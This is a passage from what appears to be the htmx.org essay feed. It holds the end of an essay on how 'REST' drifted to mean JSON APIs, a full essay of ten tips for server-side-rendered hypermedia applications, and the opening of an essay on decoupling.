or not the RESTless APIs being created were “RESTful”: arguments over URL layouts, over which HTTP verb was
appropriate for a given action, flame wars about media types, and so forth.&lt;&#x2F;p&gt;
&lt;p&gt;I was young at the time, and the whole thing struck me as opaque, puritanical and alienating, so I pretty much gave up
on the whole idea of REST: it was something condescending people fought about on the internet.&lt;&#x2F;p&gt;
&lt;p&gt;What I rarely saw mentioned (or, when I did, what I didn’t understand) was the concept of the uniform interface and how
crucial it is to a RESTful system.&lt;&#x2F;p&gt;
&lt;p&gt;It wasn’t until I created &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&quot;&gt;intercooler.js&lt;&#x2F;a&gt; and a few smart folks started telling me that it was
RESTful that I got interested in the idea again.&lt;&#x2F;p&gt;
&lt;p&gt;RESTful?  That’s a JSON API thing, how could my hack of a front-end library be RESTful?&lt;&#x2F;p&gt;
&lt;p&gt;So I looked into it, reread Fielding’s dissertation with fresh eyes, and discovered, lo and behold, not only was
intercooler RESTful, but all the “RESTful” JSON APIs I was dealing with weren’t RESTful at all!&lt;&#x2F;p&gt;
&lt;p&gt;And, with that, I began boring the internet to tears:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;01&#x2F;18&#x2F;rescuing-rest.html&quot;&gt;Rescuing REST From the API Winter&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;The API Churn&#x2F;Security Trade-off&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;05&#x2F;08&#x2F;hatoeas-is-for-humans.html&quot;&gt;HATEOAS is for Humans&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2020&#x2F;01&#x2F;14&#x2F;taking-html-seriously&quot;&gt;Taking HTML Seriously&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;Hypermedia APIs vs. Data APIs&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;HATEOAS&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia Driven Applications&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;This, gentle reader, &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;how-did-rest-come-to-mean-the-opposite-of-rest&#x2F;&quot;&gt;your current article&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;the-state-of-rest-today&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-state-of-rest-today&quot; aria-label=&quot;Anchor link for: the-state-of-rest-today&quot;&gt;The State of REST Today&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Eventually most people got tired of trying to add hypermedia controls to JSON APIs and gave up on it.  While these controls
worked well in certain specialized situations (e.g. paging), they never achieved the broad, obvious utility
that REST found in the general, human-oriented internet.  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;05&#x2F;08&#x2F;hatoeas-is-for-humans.html&quot;&gt;(I have a theory why that is.)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Things settled into this intermediate RESTless state, with REST slowly cementing its meaning as a JSON API at Level 1
or 2 of the RMM.  But there was always the possibility that we would break through to Level 3 and the glory of REST.&lt;&#x2F;p&gt;
&lt;p&gt;Then Single Page Applications (SPAs) hit.&lt;&#x2F;p&gt;
&lt;p&gt;When SPAs hit, web development became disconnected entirely from the original underlying RESTful architecture.  The &lt;em&gt;entire
networking architecture&lt;&#x2F;em&gt; of SPA applications moved over to the JSON RPC style.  Additionally, due to the complexity of these
applications, developers specialized into front end and back end.&lt;&#x2F;p&gt;
&lt;p&gt;The front end developers were obviously &lt;em&gt;not&lt;&#x2F;em&gt; doing anything RESTful: they were working with JavaScript, building DOM
object, and calling AJAX APIs when needed.  This was much more like thick-client authoring than anything like the
early web.&lt;&#x2F;p&gt;
&lt;p&gt;The back end engineers were still concerned with the network architecture to an extent, and they continued to use the
term “REST” to describe what they were doing.&lt;&#x2F;p&gt;
&lt;p&gt;Even though they were doing things like publishing swagger documentation for their RESTful APIs or &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.infoq.com&#x2F;articles&#x2F;no-more-mvc-frameworks&#x2F;&quot;&gt;complaining about API
churn of their RESTful APIs&lt;&#x2F;a&gt;, things that wouldn’t be occurring
if they were actually creating RESTful APIs.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, in the late 2010s, people had had enough:  REST, even in its RESTless form, simply wasn’t keep up with the needs
of increasingly complex SPA applications.  The applications were becoming more and more like thick clients, and thick
client problems need thick client solutions, not bastardized hypermedia client solutions.&lt;&#x2F;p&gt;
&lt;p&gt;The dam really broke when &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;GraphQL&quot;&gt;GraphQL&lt;&#x2F;a&gt; was released.&lt;&#x2F;p&gt;
&lt;p&gt;GraphQL couldn’t be less RESTful: you absolutely &lt;em&gt;have to have&lt;&#x2F;em&gt; documentation to understand how to work with an API
that uses GraphQL.  The client and the server are extremely tightly coupled.  There are no native hypermedia controls
in it.  It offers schemas and, in many ways, feels a lot like an updated and stripped-down version of XML-RPC.&lt;&#x2F;p&gt;
&lt;p&gt;And here I want to say: that’s OK!&lt;&#x2F;p&gt;
&lt;p&gt;People really, really like GraphQL in many cases and, if you are building a thick client style application, that makes a
lot of sense:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The short answer to this question is that HATEOAS isn’t a good fit for most modern use cases for APIs. That is why after
almost 20 years, HATEOAS still hasn’t gained wide adoption among developers. GraphQL on the other hand is spreading
like wildfire because it solves real-world problems.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;techblog.commercetools.com&#x2F;graphql-and-rest-level-3-hateoas-70904ff1f9cf&quot;&gt;GraphQL and REST Level 3 (HATEOAS)&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;So GraphQL isn’t REST, it doesn’t claim to be REST, it doesn’t want to be REST.&lt;&#x2F;p&gt;
&lt;p&gt;But, as of today, the vast majority of developers and companies, even as they excitedly add GraphQL functionality to
their APIs, continue to use the term REST to describe what they are building.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ok-what-can-we-do-about-this-situation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#ok-what-can-we-do-about-this-situation&quot; aria-label=&quot;Anchor link for: ok-what-can-we-do-about-this-situation&quot;&gt;OK, What Can We Do About This Situation?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Unfortunately, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=32073545&quot;&gt;voidfunc&lt;&#x2F;a&gt; is probably right:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can tap the sign as much as you want, that battle was lost a long time ago. REST is just the common term people
use for HTTP+JSON RPC.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;We are going to keep calling &lt;em&gt;obviously&lt;&#x2F;em&gt; non-RESTful JSON APIs REST because that’s just what everyone calls them now.&lt;&#x2F;p&gt;
&lt;p&gt;Despite my increasingly vigorous sign tapping, 50 years from now Global Omni Corp. will still be advertising
jobs for working on v138 of their RESTful JSON API’s swagger documentation.&lt;&#x2F;p&gt;
&lt;img src=&quot;&#x2F;img&#x2F;punished-fielding.png&quot; alt=&quot;Roy Fielding Does Not Approve&quot; style=&quot;width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px&quot;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wwnorton.com&#x2F;books&#x2F;9780393310214&quot;&gt;The situation is hopeless, but not serious.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Regardless, there is an opportunity here to explain REST and, in particular, the uniform interface to a new generation of web
developers who may have never heard of those concepts in their original context, and who assume REST === JSON APIs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;a-response-to-rich-harris&#x2F;&quot;&gt;People sense something is wrong&lt;&#x2F;a&gt;, and maybe REST, real, actual REST,
not RESTless, could be a part of &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;spa-alternative&#x2F;&quot;&gt;the answer to that&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;At the very least, the ideas behind REST are interesting and worth knowing just as general software engineering knowledge.&lt;&#x2F;p&gt;
&lt;p&gt;There is a larger meta-point here too: even a relatively smart group of people (early web developers), with the benefit
of the internet, and with a pretty clear (if at times academic) specification for the term REST, were unable to keep the
meaning consistent with its original meaning over period of two decades.&lt;&#x2F;p&gt;
&lt;p&gt;If we can get this so obviously wrong, what else could we be wrong about?&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>10 Tips For Building SSR&#x2F;HDA applications</title>
        <published>2022-06-13T00:00:00+00:00</published>
        <updated>2023-06-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/10-tips-for-ssr-hda-apps/"/>
        <id>https://htmx.org/essays/10-tips-for-ssr-hda-apps/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/10-tips-for-ssr-hda-apps/">&lt;p&gt;Building web applications using traditional Server-Side Rendering (SSR) or, saying the same thing another way, building
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-driven-applications&#x2F;&quot;&gt;Hypermedia-Driven Applications&lt;&#x2F;a&gt; (HDAs) requires a mindset shift when
compared with building web applications with Single Page Application frameworks like React.&lt;&#x2F;p&gt;
&lt;p&gt;If you come at this style of development with an SPA-engineering hat on, you are likely to be frustrated and miss out
on many advantages of this particular architectural choice.&lt;&#x2F;p&gt;
&lt;p&gt;Here are 10 tip to help you make the mental shift smoothly, taking advantage of the strengths of this approach and
minimizing the weaknesses of it:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-1-maximize-your-server-side-strengths&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-1-maximize-your-server-side-strengths&quot; aria-label=&quot;Anchor link for: tip-1-maximize-your-server-side-strengths&quot;&gt;Tip 1: Maximize Your Server-Side Strengths&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A big advantage of the hypermedia-driven approach is that it makes the server-side environment far more important when
building your web application.  Rather than simply producing JSON, your back end is an integral component in the user
experience of your web application.&lt;&#x2F;p&gt;
&lt;p&gt;Because of this, it makes sense to look deeply into the functionality available there.  Many older web frameworks have
incredibly deep functionality available around producing HTML.  Features like
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;guides.rubyonrails.org&#x2F;caching_with_rails.html&quot;&gt;server-side caching&lt;&#x2F;a&gt; can make the difference between an incredibly
snappy web application and a sluggish user experience.&lt;&#x2F;p&gt;
&lt;p&gt;Take time to learn all the tools available to you.&lt;&#x2F;p&gt;
&lt;p&gt;A good rule of thumb is to shoot to have responses in your application take less than 100ms to complete, and mature
server side frameworks have tools to help make this happen.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-2-factor-your-application-on-the-server&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-2-factor-your-application-on-the-server&quot; aria-label=&quot;Anchor link for: tip-2-factor-your-application-on-the-server&quot;&gt;Tip 2: Factor Your Application On The Server&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Server-side environments often have extremely mature mechanisms for factoring (or organizing) your code properly.  The
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Model%E2%80%93view%E2%80%93controller&quot;&gt;Model&#x2F;View&#x2F;Controller&lt;&#x2F;a&gt; pattern is well-developed in
most environments, and tools like modules, packages, etc. provide an excellent way to organize your code.&lt;&#x2F;p&gt;
&lt;p&gt;Whereas SPAs user interfaces are typically organized via &lt;em&gt;components&lt;&#x2F;em&gt;, hypermedia-driven applications are typically
organized via &lt;em&gt;template inclusion&lt;&#x2F;em&gt;, where the server-side templates are broken up according to the HTML-rendering needs
of the application, and then included in one another as needed.  This tends to lead to fewer, chunkier files than you
would find in a component-based application.&lt;&#x2F;p&gt;
&lt;p&gt;Another technology to look for are &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;template-fragments&#x2F;&quot;&gt;Template Fragments&lt;&#x2F;a&gt;, which allow you to render only
part of a template file.  This can reduce even further the number of template files required for your server-side
application.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-3-specialize-your-api-end-points&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-3-specialize-your-api-end-points&quot; aria-label=&quot;Anchor link for: tip-3-specialize-your-api-end-points&quot;&gt;Tip 3: Specialize Your API End Points&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Unlike a &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-apis-vs-data-apis&#x2F;&quot;&gt;JSON API&lt;&#x2F;a&gt;, the hypermedia API you produce for your hypermedia-driven
application &lt;em&gt;should&lt;&#x2F;em&gt; feature end-points specialized for your particular application’s UI needs.&lt;&#x2F;p&gt;
&lt;p&gt;Because hypermedia APIs are &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-clients&#x2F;&quot;&gt;not designed to be consumed by general-purpose clients&lt;&#x2F;a&gt; you
can set aside the pressure to keep them generalized and produce the content specifically needed for your application.&lt;br &#x2F;&gt;
Your end-points should be optimized to support your particular applications UI&#x2F;UX needs, not for a general-purpose
data-access model for your domain model.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-4-aggressively-refactor-your-api-end-points&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-4-aggressively-refactor-your-api-end-points&quot; aria-label=&quot;Anchor link for: tip-4-aggressively-refactor-your-api-end-points&quot;&gt;Tip 4: Aggressively Refactor Your API End Points&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A related tip is that, when you have a hypermedia-based API, you can aggressively refactor your API in a way that is
heavily discouraged when writing JSON API-based SPAs.  Because hypermedia-based applications use &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hateoas&#x2F;&quot;&gt;Hypermedia As The Engine
Of Application State&lt;&#x2F;a&gt;, you are able and, in fact, encouraged, to change the shape of them as your
application developers and as use cases change.&lt;&#x2F;p&gt;
&lt;p&gt;A great strength of the hypermedia approach is that you can completely rework your API to adapt to new needs over time
without needing to version the API or even document it.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-5-take-advantage-of-direct-access-to-the-data-store&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-5-take-advantage-of-direct-access-to-the-data-store&quot; aria-label=&quot;Anchor link for: tip-5-take-advantage-of-direct-access-to-the-data-store&quot;&gt;Tip 5: Take Advantage of Direct Access To The Data Store&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;When an application is built using the SPA approach, the data store typically lives behind a JSON API.  This level of
indirection often prevents front end developers from being able to take full advantage of the tools available in the
data store.  GraphQL can help address this issue, but comes with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;2016&#x2F;02&#x2F;17&#x2F;api-churn-vs-security.html&quot;&gt;security-related issues&lt;&#x2F;a&gt;
that do not appear to be well understood by many developers.&lt;&#x2F;p&gt;
&lt;p&gt;When you produce your HTML on the server side, on the other hand, the developer creating that HTML can have full access
to the data store and take advantage of, for example, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sqltutorial.org&#x2F;sql-left-join&#x2F;&quot;&gt;joins&lt;&#x2F;a&gt; and
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.sqltutorial.org&#x2F;sql-aggregate-functions&#x2F;&quot;&gt;aggregation functions&lt;&#x2F;a&gt; in SQL stores.&lt;&#x2F;p&gt;
&lt;p&gt;This puts far more expressive power directly in the hands of the developer producing the HTML.  Because your hypermedia
API can be structured around your UI needs, you can tune each endpoint to issue as few data store requests as possible.&lt;&#x2F;p&gt;
&lt;p&gt;A good rule of thumb is that every request should shoot to have three or fewer data-store accesses.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-6-avoid-modals&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-6-avoid-modals&quot; aria-label=&quot;Anchor link for: tip-6-avoid-modals&quot;&gt;Tip 6: Avoid Modals&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Modal_window&quot;&gt;Modal windows&lt;&#x2F;a&gt; have become popular, almost standard, in many web applications
today.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;youdontneedamodalwindow.dev&#x2F;&quot;&gt;modal windows do not play well with much of the infrastructure of the web&lt;&#x2F;a&gt;
and introduce client-side state that can be difficult (though not impossible) to integrate cleanly with the hypermedia-based
approach.&lt;&#x2F;p&gt;
&lt;p&gt;Consider using alternatives such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;click-to-edit&#x2F;&quot;&gt;inline editing&lt;&#x2F;a&gt;, rather than modals.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-7-accept-good-enough-ux&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-7-accept-good-enough-ux&quot; aria-label=&quot;Anchor link for: tip-7-accept-good-enough-ux&quot;&gt;Tip 7: Accept “Good Enough” UX&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;A problem many SPA developers face when coming to the HDA approach is that they look at their current SPA application and
imagine implementing it &lt;em&gt;exactly&lt;&#x2F;em&gt; using hypermedia.  While htmx and other hypermedia-oriented libraries significantly
close the interactivity gap between hypermedia-based applications and SPAs, that gap still exists.&lt;&#x2F;p&gt;
&lt;p&gt;As Roy Fielding &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;said&lt;&#x2F;a&gt; with respect
to the web’s REST-ful network architecture:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The trade-off, though, is that a uniform interface degrades efficiency, since information is transferred in a
standardized form rather than one which is specific to an application’s needs.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Accepting a slightly less efficient and interactive solution to a particular UX can save you a tremendous amount of
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;complexity-budget&#x2F;&quot;&gt;complexity&lt;&#x2F;a&gt; when building a web application.&lt;&#x2F;p&gt;
&lt;p&gt;Do not let the perfect be the enemy of the good.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-8-when-necessary-create-islands-of-interactivity&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-8-when-necessary-create-islands-of-interactivity&quot; aria-label=&quot;Anchor link for: tip-8-when-necessary-create-islands-of-interactivity&quot;&gt;Tip 8: When Necessary, Create “Islands of Interactivity”&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;At some point in your web application, there may come a point where the hypermedia approach, on its own, just doesn’t
cut it.&lt;&#x2F;p&gt;
&lt;p&gt;A good example of this is re-ordering a list of things.  This can be done in “pure” hypermedia by clicking up and down
arrows or having order # drop-downs next to items.  (I am ashamed to admit I have built both of these!)&lt;&#x2F;p&gt;
&lt;p&gt;But this experience stinks compared to what people are used to: drag-and-drop.&lt;&#x2F;p&gt;
&lt;p&gt;In cases like this, it is perfectly fine to use a front-end heavy approach as an “Island of Interactivity”.&lt;&#x2F;p&gt;
&lt;p&gt;Consider the &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;sortable&#x2F;&quot;&gt;SortableJS&lt;&#x2F;a&gt; example.  Here you have a sophisticated area of interactivity that allows for
drag-and-drop, and that integrates with htmx and the broader hypermedia-driven application via events.&lt;&#x2F;p&gt;
&lt;p&gt;This is an excellent way to encapsulate richer UX within an HDA.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-9-don-t-be-afraid-to-script&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-9-don-t-be-afraid-to-script&quot; aria-label=&quot;Anchor link for: tip-9-don-t-be-afraid-to-script&quot;&gt;Tip 9: Don’t Be Afraid To Script!&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Scripting is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_7&quot;&gt;explicitly a part of the web architecture&lt;&#x2F;a&gt;
and developers adopting the hypermedia approach shouldn’t be afraid to use it.  Of course there is scripting and then
there is scripting.&lt;&#x2F;p&gt;
&lt;p&gt;As much as possible, you should try to use the  &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-friendly-scripting&#x2F;&quot;&gt;hypermedia-friendly scripting&lt;&#x2F;a&gt;
approach, retaining hypermedia-exchanges as the primary mechanism for communicating system state changes with the
server.&lt;&#x2F;p&gt;
&lt;p&gt;Inline-style scripting, as enabled by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;alpine.js&lt;&#x2F;a&gt; &amp;amp; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hyperscript.org&quot;&gt;hyperscript&lt;&#x2F;a&gt; for example,
is worth exploring as well, as it refocuses your scripting on the hypermedia (HTML) itself and imposes an aesthetic
constraint on just how much code you can write.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tip-10-be-pragmatic&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#tip-10-be-pragmatic&quot; aria-label=&quot;Anchor link for: tip-10-be-pragmatic&quot;&gt;Tip 10: Be Pragmatic&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Finally, do not be dogmatic about using hypermedia.  At the end of the day, it is just another technology with its own
&lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;when-to-use-hypermedia&#x2F;&quot;&gt;strengths &amp;amp; weaknesses&lt;&#x2F;a&gt;.  If a particular part of an app, or if an entire app,
demands something more interactive than what hypermedia can deliver, then go with a technology that can.&lt;&#x2F;p&gt;
&lt;p&gt;Just be familiar with &lt;a href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;&quot;&gt;what hypermedia can do&lt;&#x2F;a&gt;, so you can make that decision as an informed
developer.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Hopefully these tips help you adopt hypermedia and server-side rendering as a tool more effectively and smoothly.  It
isn’t a perfect client-server architecture, and it involves explicit tradeoffs, but it can be extremely effective for
many web applications (far more than most web developers today suspect) and provides a much simpler overall development
experience in those cases.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Two Approaches To Decoupling</title>
        <published>2022-05-01T00:00:00+00:00</published>
        <updated>2022-05-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/two-approaches-to-decoupling/"/>
        <id>https://htmx.org/essays/two-approaches-to-decoupling/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/two-approaches-to-decoupling/">&lt;blockquote&gt;
&lt;p&gt;The central feature that distinguishes the REST architectural style from other network-based styles is its emphasis on
a uniform interface between components. By applying the software engineering principle of generality to the component
interface, the overall system architecture is simplified and the visibility of interactions is improved.
Implementations are decoupled from the services they provide, which encourages independent evolvability.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;em&gt;-Roy Fielding, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&quot;&gt;https:&#x2F;&#x2F;www.ics.uci.edu&#x2F;~fielding&#x2F;pubs&#x2F;dissertation&#x2F;rest_arch_style.htm#sec_5_1_5&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In this essay we will look at two different types of decoupling in the context of web applications:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Decoupling at the &lt;em&gt;application level&lt;&#x2F;em&gt; via a generic JSON Data API&lt;&#x2F;li&gt;
&lt;li&gt;Decoupling at the &lt;em&gt;network architecture level&lt;&#x2F;em&gt; via a hypermedia API&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;We will see that, at the application level, a hypermedia API tightly couples your front-end and back-end.  Despite this
fact, surprisingly, the hypermedia API is in fact more resilient in the face of change.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;coupling&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#coupling&quot; aria-label=&quot;Anchor link for: coupling&quot;&gt;Coupling&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Coupling_%28computer_programming%29&quot;&gt;Coupling&lt;&#x2F;a&gt; is a property of a software system in which
two modules or aspects of the system have a high degree of interdependence. &lt;em&gt;Decoupling&lt;&#x2F;em&gt; software is the act of reducing this
interdependence between unrelated modules so that they can evolve independently of one another.&lt;&#x2F;p&gt;
&lt;p&gt;The concept of coupling and decoupling is closely (and inversely) related to
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Cohesion_(computer_science)&quot;&gt;cohesion&lt;&#x2F;a&gt;.  Highly cohesive software has related logic
within a module or conceptual boundary, rather than spread out throughout a codebase.  (A related concept is our own idea
of &lt;a href=&quot;&#x2F;essays&#x2F;locality-of-behaviour&#x2F;&quot;&gt;Locality of Behavior&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;p&gt;Broadly, experienced developers strive for decoupled and cohesive systems.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;json-data-apis-application-level-decoupling&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#json-data-apis-application-level-decoupling&quot; aria-label=&quot;Anchor link for: json-data-apis-application-level-decoupling&quot;&gt;JSON Data APIs - Application Level Decoupling&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;A common approach to building web applications today is to create a JSON Data API and then consume that JSON API using
a JavaScript framework such as React.  This application-level architectural decision decouples the front-end code
